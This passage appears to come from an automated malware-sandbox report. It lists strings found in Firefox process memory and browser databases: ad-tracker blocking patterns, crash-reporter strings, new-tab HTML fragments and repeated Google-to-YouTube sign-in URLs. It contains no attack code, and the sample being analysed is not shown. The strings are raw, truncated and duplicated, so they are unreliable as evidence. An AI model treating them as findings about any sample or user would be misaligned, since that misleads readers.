"*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB659000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB659000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Fir equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2765179427.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: accounts.google.comwww.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: contextual.services.quicksuggestsuggestedIndexResultsByGroupfractionalDataArray is empty!maxHistoricalSearchSuggestionsisURLEquivalentToResultURLexperimental.hideHeuristic_addSuggestedIndexResults/<Dismissing weather resulteEditorEnableWrapHackMaskremoveDocumentStateListenerget _arrowNavigableWalker_createShowMoreSyncedTabsElementrecordSyncedTabsTelemetryensureUnloadHandlerRegistered.panel-header > h1 > span_transitionViews/viewRect<_getBoundsWithoutFlushinggWindowsWithUnloadHandlerEnsureFxAccountsWebChannelfocusFirstNavigableElementMIN_STATUS_ANIMATION_DURATION_createNoSyncedTabsElementeNewlinesReplaceWithSpacesappmenu-remote-tabs-showmorehttps://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabConfiguredAndLoadingeNewlinesReplaceWithCommassRemoteTabsNextPageMinTabsget sendTabConfiguredAndLoadingshouldHideSendContextMenuItemsensureUnloadHandlerRegistered/<PanelUI-remotetabs-setupsyncappMenu-header-descriptionappmenu-fxa-sync-and-save-data2openPopup/openPopupPromise<identity.fxaccounts.enabled equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: elease\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_O equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: handlerSvc fillHandlerInfo: don't know this typehttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol<https://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sSelected crashed browser is not remote. equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401E7C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cg equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cgYouTube equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cgYouTube/| equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGyg equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGygYouTube equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGygYouTube/| equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GBYouTube equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0 equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTube equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTube/| equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0 equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTube equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
